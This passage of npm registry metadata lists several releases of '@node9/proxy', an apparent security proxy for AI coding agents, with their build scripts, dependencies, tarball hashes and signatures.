--run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.46.0_1782717509675_0.6011239574906322","host":"s3://npm-registry-packages-npm-production"}},"1.47.0":{"name":"@node9/proxy","version":"1.47.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.47.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"cbf744afbbee4409ea0c17acf95be3e360d50bcf","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.47.0.tgz","fileCount":17,"integrity":"sha512-4QYoP3nv0BTSvEt3L7Sp73VVbH2lU84/pJNK2347qJ9AJc/7F0u0dEYU/+9Xua6XBqN6h6T3bP3x5qfi2SL4sw==","signatures":[{"sig":"MEYCIQC7S3jzv0uM9KlCQZJEIXYxiVN1I6eRpNxvRGZl3g8CKQIhALxh9HZP4oVMcJVw7+tUwP03ATSfnIjDI6oH6NGQcYmt","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.47.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4457422},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"7a00d3924f23f7829cabd796dd6e226b6ac55688","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.47.0_1782722692182_0.3731408880103608","host":"s3://npm-registry-packages-npm-production"}},"1.48.0":{"name":"@node9/proxy","version":"1.48.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.48.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"038b687954106d8c1ba22735e6bbf16e250edf1a","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.48.0.tgz","fileCount":17,"integrity":"sha512-kMW4wd++1x1B/wmfSyhMneaU3hKYh5hEVOTzLvy0R7t5bBIUQcFmwFvOlkV0PxFakzIPx287di5+zbr0ubFUWA==","signatures":[{"sig":"MEUCIG26CaTkEa2i18nygjQ+qHEnxyd4z9YA4XI4PJq9aR5/AiEA+Um1kD9QiKbH649e2MJDkqdGAVRkfEup+bh4xhNDHYQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.48.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4458924},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"c1bdc921e260ccae08a24f0b2423b00d36d6360c","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.48.0_1782724779340_0.15736084529332905","host":"s3://npm-registry-packages-npm-production"}},"1.49.0":{"name":"@node9/proxy","version":"1.49.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.49.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"76fbdc1a6d2c894cbe240d8512b2facf5232260e","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.49.0.tgz","fileCount":17,"integrity":"sha512-hkTbsbQtVnr9piLW+/wVOcmvZkKRNa71lpM2LUAH93gGJhhOcK7tOOZLeerTkT+X4sKLTByzjHXpiHhoii+JVg==","signatures":[{"sig":"MEQCICan7Fpl0nKV9X8JrUAbU7GSUDMgDiIlVmiAbn6ZJl+cAiAy93nHKImG25V9D9xHHPIgm3m8LjJqo66AFu/CLyQQww==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.49.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4462905},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"31c38e260c6ea2af00d35f785c379543a4f1ca23","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.49.0_1782734744720_0.6558004048615249","host":"s3://npm-registry-packages-npm-production"}},"1.50.0":{"name":"@node9/proxy","version":"1.50.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.50.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"197a0099e991148487751540d500fc06f4f0a137","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.50.0.tgz","fileCount":17,"integrity":"sha512-vL9ASf7iciv/tBkPZJwsPXDkKjgWY+KcDcNZaxM0fRqDhomOXVLjGIsH1K6KA3osO/j+Nw79dhNmL3OTrif33g==","signatures":[{"sig":"MEUCIQCkNUUWPPYBXRXxpUkGlKoZ5kFM7nOEhDDXNxmR+dYfeQIgQD0CZUA+OzLsN4DroPMOiAYSS6fJicVD3ClOk6OktfM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.50.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4467967},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"73288cfb7e1d1a1c0a34766b7b4d44c36bbbb2ae","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.50.0_1782762579142_0.3904424950236982","host":"s3://npm-registry-packages-npm-production"}},"1.51.0":{"name":"@node9/proxy","version":"1.51.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.51.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"282d5b1d9e865ec595228e1a44671a5278c4f83c","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.51.0.tgz","fileCount":17,"integrity":"sha512-jG4BwVfPaoJqfkBN4UvUl3/zMHypdTEpP1/Tt9oGgSQZp5I8XF3YlicWBof16tvS3AkvHpI9lg6REQCCtBjIrg==","signatures":[{"sig":"MEYCIQD++vyQ8R+i4Zz+BH1+nTiitBTeh80v7oDT5biRdPJd/wIhAKdjMILx/ilomoXh565R74/rCwcHza8BNxAstjVXprEA","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.51.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4471873},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"4ce4da880bb04ebfbbdd07d54d0758989c2c7bd8","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.51.0_1782763157494_0.7886797654684983","host":"s3://npm-registry-packages-npm-production"}},"1.52.0":{"name":"@node9/proxy","version":"1.52.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.52.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"a900cc3a21f9bc7ad341643695f338736ebd3122","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.52.0.tgz","fileCount":17,"integrity":"sha512-SlwPH23ji3yRYOQ4/7I9nmnPQF8BCrn3hFqXLntLc6O3RKPvBk55uyFrOQCPFM3UfWCE2K+pdvzn/dma+ylDzw==","signatures":[{"sig":"MEUCIQDgWzgLFFKehVqBqXpkC2yO3wMWxOApFot4yWUI9yX+xwIgDO4s1Ls+3kEWwdpMq/XcpyB/fsOV1wGCjCOqdmsueMQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.52.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4479736},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f26c5fd6919cd41621480a